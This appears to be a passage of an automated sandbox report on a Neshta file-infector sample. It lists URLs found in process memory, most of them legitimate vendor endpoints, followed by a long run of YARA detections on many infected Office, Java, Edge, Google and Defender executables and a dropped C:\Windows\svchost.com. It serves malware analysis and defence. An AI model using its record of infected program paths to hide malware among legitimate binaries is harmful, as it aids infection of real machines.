                              Source: svchost.exe, 00000039.00000003.2223535604.000001F848818000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
                              Source: svchost.exe, 00000039.00000003.2223535604.000001F84884D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
                              Source: svchost.exe, 00000039.00000003.2223535604.000001F848891000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
                              Source: powershell.exe, 00000023.00000002.2406346739.0000023FC8DD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
                              Source: powershell.exe, 00000006.00000002.2380149744.000002188D156000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2424810215.00000192C3BD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2351479480.0000028BABC58000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2367386836.000001CF3F4C7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2273115603.000001EC671F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2340732680.000001873D826000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2455236974.0000021C9130C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2279814980.0000022E00228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2566609879.00000215B54D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2428077401.0000023B9D086000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2344843227.000002055E506000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2345104737.0000026687587000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2363316701.0000019F3E878000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2337060315.000002788E066000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.2404230691.000001FF4A686000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2341421226.000001AEC91AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2348354305.0000025C57347000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2406346739.0000023FC8E20000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
                              Source: SearchIndexer.exe, 00000001.00000002.1913109715.0000000003888000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2380149744.000002188CF31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2424810215.00000192C39B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2351479480.0000028BABA31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2367386836.000001CF3F2A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2273115603.000001EC66FD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2340732680.000001873D601000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2455236974.0000021C91011000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2279814980.0000022E00001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2566609879.00000215B5241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2428077401.0000023B9CE61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2344843227.000002055E2E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2345104737.0000026687361000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2363316701.0000019F3E651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2337060315.000002788DE41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.2404230691.000001FF4A461000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2341421226.000001AEC8E01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2348354305.0000025C57121000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2406346739.0000023FC8BB1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                              Source: powershell.exe, 00000006.00000002.2380149744.000002188D156000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2424810215.00000192C3BD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2351479480.0000028BABC58000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2367386836.000001CF3F4C7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2273115603.000001EC671F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2340732680.000001873D826000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2455236974.0000021C9130C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2279814980.0000022E00228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2566609879.00000215B54D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2428077401.0000023B9D086000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2344843227.000002055E506000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2345104737.0000026687587000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2363316701.0000019F3E878000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2337060315.000002788E066000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.2404230691.000001FF4A686000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2341421226.000001AEC91AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2348354305.0000025C57347000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2406346739.0000023FC8E20000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
                              Source: powershell.exe, 00000023.00000002.2406346739.0000023FC8DD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
                              Source: powershell.exe, 00000006.00000002.2380149744.000002188CF31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2424810215.00000192C39B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2351479480.0000028BABA31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2367386836.000001CF3F2A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2273115603.000001EC66FD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2340732680.000001873D601000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2455236974.0000021C91011000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2279814980.0000022E00001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2566609879.00000215B5241000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2428077401.0000023B9CE61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2344843227.000002055E2E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2345104737.0000026687361000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2363316701.0000019F3E651000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2337060315.000002788DE41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.2404230691.000001FF4A461000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2341421226.000001AEC8E01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.2348354305.0000025C57121000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2406346739.0000023FC8BB1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
                              Source: svchost.exe, 00000039.00000003.2223535604.000001F8488C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
                              Source: svchost.exe, 00000039.00000003.2223535604.000001F848872000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
                              Source: svchost.exe, 00000039.00000003.2223535604.000001F8488C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/ProdV2
                              Source: svchost.exe, 00000039.00000003.2223535604.000001F8488A3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
                              Source: svchost.exe, 00000039.00000003.2223535604.000001F8488C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
                              Source: powershell.exe, 00000023.00000002.2406346739.0000023FC8DD6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
                              Source: msedge_pwa_launcher.exe.0.drString found in binary or memory: https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ff
                              Source: msedge_pwa_launcher.exe.0.drString found in binary or memory: https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ffDilithium2Dilith
                              Source: powershell.exe, 00000014.00000002.2496719143.00000215B51E5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ion=v4.5
                              Source: integrator.exe.0.drString found in binary or memory: https://nexus.officeapps.live.comhttps://nexusrules.officeapps.live.com
                              Source: svchost.exe, 00000039.00000003.2223535604.000001F8488C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
                              Source: svchost.exe, 00000039.00000003.2223535604.000001F848872000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
                              Source: integrator.exe.0.drString found in binary or memory: https://otelrules.azureedge.net/rules/.bundlesdxhelper.exeFailed
                              Source: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exeWindow created: window name: CLIPBRDWNDCLASS
                              Source: integrator.exe.0.drBinary or memory string: RegisterRawInputDevicesmemstr_853a0c6b-7

                              System Summary

                              barindex
                              Malicious sample detected (through community Yara rule)
                              Source: SearchIndexer.exe, type: SAMPLEMatched rule: Detects Neshta Author: ditekSHen
                              Source: 0.0.SearchIndexer.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\AutoIt3\Uninstall.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Windows\svchost.com, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Windows\svchost.com, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Windows\svchost.com, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Windows Defender\SearchIndexer.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\AutoIt3\Au3Info.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
                              Source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPEDMatched rule: Detects Neshta Author: ditekSHen
